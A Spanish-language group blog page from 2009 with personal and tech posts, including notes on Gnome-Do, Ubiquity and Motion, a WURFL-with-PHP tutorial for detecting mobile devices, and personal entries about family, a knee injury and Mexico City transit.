Gnome-Do / Docky

La verdad que me gusta KDE mucho sobre todo la rama 3.x pues de hecho en el Desktop de mi casa uso esta version, cuando probé la rama 4.0 de KDE esta no me gusto nadita por ese entonces compre esta lap Toshiba desde donde escribo estas lineas, luego me decidi por usar Gnome en la lap just because... al principio me hartaba pues muchas de las cosas que me agradan de KDE no existen o -claro- funcionan diferente en Gnome.

Asi pues llevo unos meses usando Gnome en la lap y aun no estoy convencido del todo pero hay ciertas cosas que me agradan de Gnome una vez que le agarras el feeling y lo modificas y pues revise KDE 4.1 y aun creo esta cocinandose y requiere aun de mas 'refinamiento' y que se porten otras funciones de la rama 3.x que hacen falta.

Lo anterior nos lleva al meollo de este post: Gnome-Do / Docky esta sola aplicacion me reconforta con las funciones que brinda y me recuerda al Alt-F2 de KDE y sus Web Shorcuts (gg:, ggi:, amg:, wp:, en2es:, etc) y aparte si estas en un escritorio composite ready y lo disfrutas pues puedes usar el modo Docky de Gnome-Do y ya tienes una dock a la OS X y que funciona mucho mejor en mi opinion que muchas out there como AWN, Kiba, etc.



Para invocar a Gnome-Do basta (por default) teclear Meta+Space y Gnome-Do esta listo para recibir tus ordenes, ejemplos de lo que puedes hacer son:



Aqui algunos links:

http://do.davebsd.com/

http://do.davebsd.com/wiki/index.php?title=Docky

bonovoxmofo / 12 - 02 - 2009 / 05:27 PM

bonovoxmofo

bonovoxmofo@Iván Alejandro Alemán Villasana$ sl_

Ubiquity

Este post va muy ad-hoc con el post anterior (el de Gnome-Do, ¡recuerdas Batman!) pues Ubiquity es una extensión para Firefox que funciona muy similar y que permite dentro de las cosas que he probado mash-ups de muchas cosas, como combinar mapas (maps.google.com) con correos electrónicos (gmail.com), hacer traducciones o bien enviar correos a tus contactos, usar el servicio de TinyURL y mas que aun estoy por descubrir.

Si tienen tips pos mándenlos ¿no?




oO

bonovoxmofo / 12 - 02 - 2009 / 05:10 PM

bonovoxmofo

bonovoxmofo@Iván Alejandro Alemán Villasana$ sl_

Motion

Por ahora estoy trabajando en un proyecto para unos amigos que involucra Motion, tengo ya un demo de lo que se pretende que haga aun cuando claro falta afinar detalles y "embellecerlo".

La verdad que me divertí unas horas configurando y leyendo acerca de Motion honestamente no leí mas allá de la man y el archivo de configuracion /etc/motion/motion.conf y fue realmente trivial escribir a una base de datos en MySQL (aun cuando mis poderes de DBA no estan al full) despues hacer que el mism oarchivo levantara una aplicacion despues de detectada 'la movida' en la camara tambien fue pice of cake... ahora solo queda agregarle unos bells & whistles y condiciones por ahi pero ya lo haremos despues de la platica con los clientes :) .

La padre aqui es que le volvi a dar uso a mi camarita una Logitech Quickcam Chat (la verdad que la camara me la heredaron oO gracias)

Por ahora debo decir que estoy regresando poco a poco muy poco a poco y sigo en urgencia de encontrar chamba... aunque eso no me ha detenido y he generado aun asi.

Nos seguimos leyendo.

bonovoxmofo / 12 - 02 - 2009 / 04:16 PM

bonovoxmofo

bonovoxmofo@Iván Alejandro Alemán Villasana$ sl_

Por si aun quedan lectores

Estamos de vuelta -eso dicen por ahí-, estén pendientes (stay tuned) --- siempre quise decir/escribir eso :)

Nos leemos pronto (amenazo)

bonovoxmofo / 12 - 02 - 2009 / 04:04 PM

taxi-sour
taxi-sour
taxi-sour
taxi-sour

05 / 02 / 2009

RazoDuke

RazoDuke@José Alberto López Razo$ sl_

Introducción a WURFL con PHP

WURFL (Wireless Universal Resource File) es una base de datos en formato XML que contiene características de dispositivos móviles, es un proyecto libre y colaborativo creado por Lucca Passani. Para poderlo utilizar en nuestros proyectos existen API's en diversos lenguajes como Java, PHP, Python o Perl que permiten el parseo del archivo XML.

Esta herramienta la conocí hace ya casi un año, cuando comencé a introducirme en la onda del desarrollo web para móviles en aplicaciones relativamente sencillas. Cuando me la explicaron brevemente y observé su aplicación, fue cuando conocí también el problema por el cuál surgió esta herramienta, sencillamente conocer las capacidades de los dispositivos móviles para poder adaptar el contenido que se entrega tanto en forma física (archivos) como visual (sitio web/wap).

Wurfl como el resto de la herramientas de su tipo, basan su funcionalidad en el parámetro llamado "UserAgent" de los dispositivos móviles, útil para poder determinar las características del mismo. Tomando el UA se puede consultar la base de datos de WURFL y poder conocer cosas importantes como ancho y alto de su pantalla, si es que soporta la reproducción de archivos en formato de audio MP3, que tipo de vídeos soporta, tipo de lenguaje estándar soportado para visualizar sitios web, etc.

En este post vamos a dar un breve introducción al uso de WURFL usando la librería creada en PHP por Andrea Trasatti, no se emocionen yo también pensé que era nena :P, sin mas choro vamos a comenzar. Para nuestro ejemplo práctico ocupamos los siguientes requerimientos:

* Sistema Operativo Ubuntu GNU/Linux.
* Servidor Web Apache2.
* PHP 5 con soporte para parsear XML.
* Firefox 3

Vamos a nuestro DocumentRoot y creamos una carpeta inicial para hacer las pruebas:

duke12@duke12:/var/www/tests$ mkdir wurfl && cd wurfl

Descargamos la libreria de PHP para utilizar WURFL:

duke12@duke12:/var/www/tests/wurfl$ wget http://downloads.sourceforge.net/wurfl/wurfl_php_tools_21.zip

Descomprimimos el archivo zip:

duke12@duke12:/var/www/tests/wurfl$ unzip wurfl_php_tools_21.zip

Los archivos importantes son wurfl_parser.php, wurfl_class.php y wurfl_config.php, el propio nombre nos dice mucho de su funcionalidad.

Continuamos, vamos a crear una carpeta llamada "data", descargamos al famoso wurfl.xml y su parche para browsers web dentro de la carpeta data:

duke12@duke12:/var/www/tests/wurfl/data$ wget http://wurfl.sourceforge.net/wurfl.xml
duke12@duke12:/var/www/tests/wurfl/data$ wget http://wurfl.sourceforge.net/web_browsers_patch.xml

Editamos el archivo wurfl_config.php y modificamos la constante DATADIR para ubicar la carpeta que contiene nuestro archivo wurfl.xml, en nuestro ejemplo queda:

define("DATADIR", 'data/');

Este archivo contiene directivas generales que podemos configurar para el uso de WURFL, por mencionar algunas encontramos aquellas que nos permiten habilitar (recomendado 100%) o deshabilitar el cache que va desde la creación de arreglos por grupos de dispositivos o en su caso archivos por dispositivos generalizados, también encontramos directivas de direccionamiento donde le especificamos a la librería donde se encuentran los archivos XML, ubicar la propia clase, el parseador y demás, también podemos habilitar el log más no se recomienda para aplicaciones en producción.

Muy bien ahora actualizaremos nuestro cache usando PHP CLI con la siguiente ejecución:

duke12@duke12:/var/www/tests/wurfl$ php update_cache.php

Unable to log to data/wurfl.log log_message:Thu, 30 Oct 2008 00:10:55 -0500 [duke12 11053][update_cache] Forced cache update started
Unable to log to data/wurfl.log log_message:Thu, 30 Oct 2008 00:10:59 -0500 [duke12 11053][parse] No XML patch file defined
Unable to log to data/wurfl.log log_message:Thu, 30 Oct 2008 00:11:01 -0500 [duke12 11053][update_cache] Updating multicache dir
Unable to log to data/wurfl.log log_message:Thu, 30 Oct 2008 00:11:01 -0500 [duke12 11053][update_cache] Done updating cache
Parser load time:0.0189509391785

Vamos al ejemplo ultra-mega-básico del uso de wurfl para comprobar que la librería esta bien configurada, creamos el archivo prueba1_wurfl.php dentro de nuestra carpeta de prueba y colocamos el siguiente código:

1
<?php
2
require_once('wurfl_config.php');
3 require_once(
WURFL_CLASS_FILE);
4
5
$wurflObj = new wurfl_class();
6
7
$ua = $_SERVER['HTTP_USER_AGENT'];
8
9
$wurflObj->GetDeviceCapabilitiesFromAgent($ua);
10
11 if (
$wurflObj->getDeviceCapability('is_wireless_device') ) {
12 echo
'El UA:'.$ua.'<br /> Es dispositivo movil';
13 } else {
14 echo
'El UA:'.$ua.'<br /> No es dispositivo movil';
15 }
16
?>
17




Expliquemos que onda con este script, la primeras líneas incluyen al archivo de configuración y posteriormente el archivo de la clase, paso siguiente se crea el objeto de la clase en la variable $wurflObj, utilizamos este objeto para invocar el método getDeviceCapabilitiesFromAgent() usando el header de PHP que contiene el UserAgent del dispositivo o navegador $_SERVER['HTTP_USER_AGENT'], la librería crea en este momento un mega-arreglo que contiene las características del dispositivo detectado.

Para conocer esas características se utiliza el método getDeviceCapability('nombre_caracteristica'), en nuestro ejemplo preguntamos a WURFL si es un dispositivo wireles o móvil. Podemos instalar el plugin "Modify Headers" para Firefox y podemos ver los resultados que se obtienen si jugamos con el UserAgent:

* Con el UserAgent propio del navegador vamos a la url http://localhost/tests/wurfl/prueba1_wurfl.php:

From misc


* Simulando a un NokiaN95:

From misc


De esta manera es como podemos detectar si el dispositivo que accesa nuestra pagina web es móvil o no y así poder entregar una pagina de acuerdo a sus características.

Ahora veamos otro ejemplo para conocer otro tipo de características de los móviles. Tenemos el siguiente código en el archivo prueba2_wurfl.php, los comentarios contienen una breve explicación:
1
<?php
2
require_once('wurfl_config.php');
3 require_once(
WURFL_CLASS_FILE);
4
5
//*** Comenzamos creando el objeto de la clase. ***//
6
$wurflObj = new wurfl_class();
7
8
$ua = $_SERVER['HTTP_USER_AGENT'];
9
10
//*** Obtenemos las capacidades usando el UserAgent ***//
11
$wurflObj->GetDeviceCapabilitiesFromAgent($ua);
12
13 if (
$wurflObj->getDeviceCapability('is_wireless_device') ) {
14
15
//*********** Info del Producto ********************//
16
$marca = $wurflObj->getDeviceCapability('brand_name');
17
$modelo = $wurflObj->getDeviceCapability('model_name');
18
$perfil_ua = $wurflObj->getDeviceCapability('uaprof');
19
$navegador = $wurflObj->getDeviceCapability('mobile_browser');
20
21
//********** Multimedia Basica *************************
22
$soporta_jpg = $wurflObj->getDeviceCapability('jpg') ? 'Si' : 'No';
23
$soporta_gif = $wurflObj->getDeviceCapability('gif') ? 'Si' : 'No';
24
$soporta_mp3 = $wurflObj->getDeviceCapability('mp3') ? 'Si' : 'No';
25
$soporta_video = $wurflObj->getDeviceCapability('video_3gpp') ? 'Si' : 'No';
26
27
//********** Lenguaje de Marcado ***********************
28
$nivel_xhtml = $wurflObj->getDeviceCapability('xhtml_support_level');
29
$leng_preferente = $wurflObj->getDeviceCapability('preferred_markup');
30
31
//********** Pantalla **********************************
32
$ancho = $wurflObj->getDeviceCapability('resolution_width');
33
$alto = $wurflObj->getDeviceCapability('resolution_height');
34
35
//******************* Desplegamos ***********************
36
echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
37 <html><head><title>Probando Wurfl</title>
38 <meta content="text/html; charset=UTF-8" http-equiv="content-type">
39 </head><body>'
;
40 echo
"El UserAgent: <b>$ua</b> <br /> tiene las siguientes caracteristicas basicas: <br /><br />";
41 echo
'<b>[Información del producto]</b><br />';
42 echo
'Marca: '.$marca.'<br />';
43 echo
'Modelo: '.$modelo.'<br />';
44 echo
'Navegador: '.$navegador.'<br />';
45 echo
"Perfil del Agente: <a href='$perfil_ua'> $perfil_ua </a><br /><br />";
46
47 echo
'<b>[Multimedia Básica]</b><br />';
48 echo
'Soporta JPG: '.$soporta_jpg.'<br />';
49 echo
'Soporta GIF: '.$soporta_gif.'<br />';
50 echo
'Soporta MP3 '.$soporta_mp3.'<br />';
51 echo
'Soporta Video: '.$soporta_video.'<br /><br />';
52
53 echo
'<b>[Lenguaje de Marcado]</b><br />';
54 echo
'Soporta XHTML Nivel: '.$nivel_xhtml.'<br />';
55 echo
'Lenguaje Preferente: '.$leng_preferente.'<br /><br />';
56
57 echo
'<b>[Pantalla]</b><br />';
58 echo
'Ancho: '.$ancho.'<br />';
59 echo
'Alto: '.$alto.'<br />';
60
61 echo
'</body></html>';
62
63 } else {
64 echo
'El UA:'.$ua.'<br /> No es dispositivo movil';
65 }
66 echo
'</body></html>';
67
?>



Aquí podemos apreciar el resultado de jugar con el userAgent = "Nokia5200/2.0 (06.03) Profile/MIDP-2.0 Configuration/CLDC-1.1"

From misc


Con este ejemplo podemos observar que Wurfl es de gran utilidad cuando desarrollamos web para móviles para poder determinar que tipo de pagina puedo entregar al navegador de ese dispositivo, empezando por determinar el lenguaje de marcado estándar, el tipo de imágenes que puede desplegar, un idea del tamaño de pantalla, y más cosillas que le querramos colgarle.

Las debilidades de estas librerías PHP para usar Wurfl son principalmente el uso de archivos (E/S en disco) para generar el cache necesario, así como los recursos para parsear el XML.

Existen alternativas que intentan mejorar las deficiencias encontradas en esta versión de Wurfl + PHP, y algunas herramientas q se basan en Wurfl para diversas funcionalidades, tal es el caso de TeraWurfl y de WALL, de quienes hablaremos en otra ocasión, x el momento es todo --> Seguimos en la resistencia!

RazoDuke / 05 - 02 - 2009 / 11:32 AM

taxi-sour
taxi-sour
taxi-sour
taxi-sour

13 / 01 / 2009

Humoram

Humoram@Humberto Morales Sánchez$ sl_

FELIZ CUMPLEAÑOS No.9 SUSI.

Hola Susi.

Esta es una fecha mas en celebrar a través de este espacio lo mucho que recuerdo a mi primera hija, se que hoy es un día especial y que todos los deseos que tengas se cumplan, que tengas vida feliz por siempre y que todo aquello que pidas se te conceda por mas difícil o imposible que parezca.

Mi corazón siempre esta lleno de ti, siempre tratando de no dejar escapar un momento en recordar tu hermosa mirada y tu linda sonrisa, esos abrazos que quiero compartir contigo se juntan cada vez mas, se que unión con el universo siempre estas junto a mi.

Recibe todas las bendiciones que la vida te brinde corazón, tienes la felicidad en la palma de tu mano y eres una niña muy especial para mi, te ama tu papa Humberto Morales Sánchez.

Felicidades Susi

Humoram / 13 - 01 - 2009 / 07:24 PM

taxi-sour
taxi-sour
taxi-sour
taxi-sour

04 / 01 / 2009

sonny_taz

sonny_taz@Sonia Sánchez Díaz$ sl_

Futuro cercano

=)

Ayer mientras platicaba con una de mis amigas, nos dimos cuenta de la gran locura que ha sido nuestra vida.

La mayoría de nuestros compañeros de la Universidad están casados, algunos tienen ya un par de hijos y otros apenas el primogénito.

Ambas no pensamos en esa vida, creo que ni siquiera pasa por nuestra mente la etapa de la maternidad, mucho menos de tener pareja o algo similar. La verdad es que nuestro futuro es diferente al resto.

Y nos dimos cuenta de lo rara que somos, creo que por eso nacimos en bajo el símbolo del aguador.

En mi futuro cercano no se incluye conocer gente, pero sí muchos lugares y hacer las cosas que no pude a causa del accidente y la artroscopia en la rodilla.

Por lo pronto, me dí cuenta que todavía no puedo correr, casi me caigo de las escaleras del metro por intentar bajar más rápido de lo que es normal para mí en este momento y sentí ligeramente inestabilidad en mi rodilla, cuando al terminar de bajar la escalera corrí un poco para abordar el metro.

Y por ahí debo empezar, por intentar hacer de nuevo cosas que hoy me provocan un poco de temor y que antes hacía sin ningún problema... ese es mi futuro cercano.

sonny_taz / 04 - 01 - 2009 / 03:00 AM

taxi-sour
taxi-sour
taxi-sour
taxi-sour

03 / 01 / 2009

sonny_taz

sonny_taz@Sonia Sánchez Díaz$ sl_

No viajes en metrobús

=)

Tengo la mala suerte de que el metrobús línea 2, pase cerca de mi casa. Por lo tanto, hay más tráfico (y eso que aún son vacaciones) y no hay otra opción de viajar sobre el eje 4 más que este medio.

Supuestamente hay un transbordo en la estación Nuevo León, esta estación está sobre Insurgentes y la correspondiente a la línea 2 sobre Benjamín Franklin, lo más chistoso es que estas estaciones nunca se intersectan, pero existe un transbordo.

Para realizar el cambio de línea en esta estación, se tiene que caminar los sábados y domingos sobre Insurgentes y en el segundo semáforo cruzar la intersección de las dos Avenidas para llegar a la estación, o sea, primero caminas por el camellón y luego te pasas a la

"Viva México"
, como algunas veces suele cruzar las calles la gente; nada nuevo ni raro en esta ciudad.

De lunes a viernes la cosa cambia. Si vas a la línea 2 en dirección a Tacubaya y no quieres cruzar al estilo provinciano ambas Avenidas, entonces esperas un tren que indique la dirección Tepalcates, luego te bajas en la siguiente estación que es Viaducto, la cual está ubicada sobre Xola y Viaducto, caminas unos metros para ponerte en posición de espera del tren en sentido contrario y esperar un tren que vaya a Tacubaya, si vas hacia Tepalcates pues ya no tienes que moverte de tu asiento, claro, si es que logras sentarte.

El tiempo de espera para que estos trenes lleguen, hasta el día de hoy que son vacaciones es de 15 minutos, desconozco si vayan a aumentar la frecuencia una vez que hayan regresado los vacacionistas.

Caso contrario, si quieres ir de la línea 2 hacia la línea 1, entonces esperas en Nuevo León el tren que diga Poliforum, te bajas ahí y esperas cualquiera de los trenes que corra sobre Insurgentes. Lo único importante aquí, es no volverse a subir en uno que diga Tepalcates, porque sino te vas a regresar a la estación de Nuevo León y si no te bajas ahí te vas hasta Viaducto.

Otra cosa que no es muy agradable, es que las máquinas en las que realizas tanto la recarga o compra de las tarjetas para viajar en este medio, se tragan las monedas o los billetes. A mí ya me pasó, perdí $5.50 porque la máquina jamás hizo la devolución de las monedas y mucho menos la carga del dinero.

Según el policía que estaba ahí, era porque mis monedas "estaban sucias" jajajajja, como antes de echarlas me puse a jugar con ellas en el lodo, yo creo que por eso tenían polvo, chispas, creo que debí haberle dicho al que me da cambio que si las había lavado con jabón porque sino,
la pinche máquina del metrobús
no me iba a aceptar las monedas.

Qué contestación tan más estúpida y de verdad imbécil, no sé si me sentí avergonzada por este mmhhh... buey, no tengo otro adjetivo, o por la clase de servicio que presta la administración de este transporte; pero bueno, allá el gobierno y sus intentos por hacer de esto "La ciudad de la esperanza".

Lo siento por los automovilistas que diario tengan que pasar por Vicente Eguía para tomar ya sea Parque Lira o subir al Periférico, cuando se encuentren a una cuadra de cruzar Parque Lira en promedio deben perder entre 10 y 15 minutos para pasar el semáforo...

No, el metrobús no es la mejor inversión en transporte. Le apuesto más al metro.

sonny_taz / 03 - 01 - 2009 / 05:50 AM

taxi-sour
taxi-sour
taxi-sour
taxi-sour

02 / 01 / 2009

sonny_taz

sonny_taz@Sonia Sánchez Díaz$ sl_

Denuncia al naco

=)

Todos llevamos un naco por dentro, pero hay gente que se pasa de estúpida...

Hace dos días fuí a una tienda de autoservicio, en plena colonia Condesa. Estaba en el área de panadería buscando unas barras de baguette. Todo era paz y tranquilidad en mi alma y en los pasillos del pan.

Llegó una pareja, una rubia de tinte, poco más de 1.55 m, un señor jóven, de esos de 35, alto, medio calvo, de lentes, tez blanca. Estacionaron su carrito a un lado del anaquel de galletas.

El jóven alto, medio calvo se desplazó lentamente por la charola de las mantecadas que tenían arriba chispas de chocolate e hizo un par de movimientos con las manos. Mientras la rubia de tinte estaba en la fila para que le empacaran el pan en una bolsa plástica.

Cuando la rubia llegó de nuevo al carrito, puso el pan dentro y lo tomó para moverse de lugar, entonces el joven se regresó y tomó una galleta de limón y se la comió.

Me dió curiosidad por ver qué se había tragado antes y me dirigí a la misma zona dónde hizo el primer ataque al pan.

El muy nacote se había comido toda la parte de la mantecada que tenía las chispas de chocolate y dejó el pan mordido en la charola. El imbécil ni siquiera tuvo el valor de comérselo completo, aunque no lo pagara, pero realmente me dió mucho asco ver en la charola el pan así, todo manoseado y con señas de que alguien lo había mordido y dejado ahí muy descaradamente.

Este naco vestía mezclilla color típico y playera polo color azul de la marca del cocodrilo, digamos que era un naco con clase, pero no por eso dejó de ser un imbécil que más bien parecía pordiosero al no poder comprarse un simple pan...

Me dió tanto asco que decidí dejar el pan que llevaba en la charola.

Lo más triste no es que haya regresado el pan al estante sino que la señora que estaba en el área de panadería empacando el pan me dijo que ella no podía hacer nada, que al fin y al cabo no era mercancía de su dinero ¬¬

Creo que por eso y muchas cosas más México seguirá siendo el México que conocemos hoy...

Y pues bueno, decidí denunciar en mi blog al naco que vestía playera de La Coste y camina por el Superama de la colonia Condesa.

sonny_taz / 02 - 01 - 2009 / 06:04 AM

taxi-sour
taxi-sour
taxi-sour
taxi-sour

01 / 01 / 2009

sonny_taz

sonny_taz@Sonia Sánchez Díaz$ sl_

Janvier 2009

=)

Le premier jour du 2009.

Aunque el año nuevo en realidad inicia el día en que se nace, de alguna manera es significativo llegar al primer día del calendario.

No tengo ningún plan en especial para este 2009, y aunque así fuera este no es lugar para decirlo, lo único que tengo pensado es cambiar la manera de escribir en el blog.

Me dí cuenta que la tristeza vende más que la felicidad jajaja pero también me cae mal que la gente no LEA y use mis escritos para tirarse al suelo y no darme el crédito correspondiente, tal como lo marca la CC que tiene este espacio.

Y no es que tenga mal de amores ni nada por el estilo, alguna vez me lastimaron y me arañaron tanto el corazón, que aprendí a no quedarme en esos ciclos; en realidad no vale la pena sufrir tanto por alguien que, con el tiempo, te das cuenta que su vida es más caótica que la propia.

En otros temas, sigo buscando un template porque de los que he visto, ninguno me llama para ser parte del blog.

Las únicas cosas especiales que espero para este año son:

- El Vive Latino
- El concierto de Café Tacvba por sus 20 años de vida
- Que La Barranca tenga nueva producción
- Ver de nuevo a San Pascualito Rey en vivo
- El Coca-Cola Zero Fest en su versión Monterrey
- Y más conciertos, para compensar todos los que me perdí en el 2008.

sonny_taz / 01 - 01 - 2009 / 11:29 PM

BingBang el 1 de Octubre del 2005.
Responsable de este sitio: TuXsOuL.
Cuautla, Morelos, México.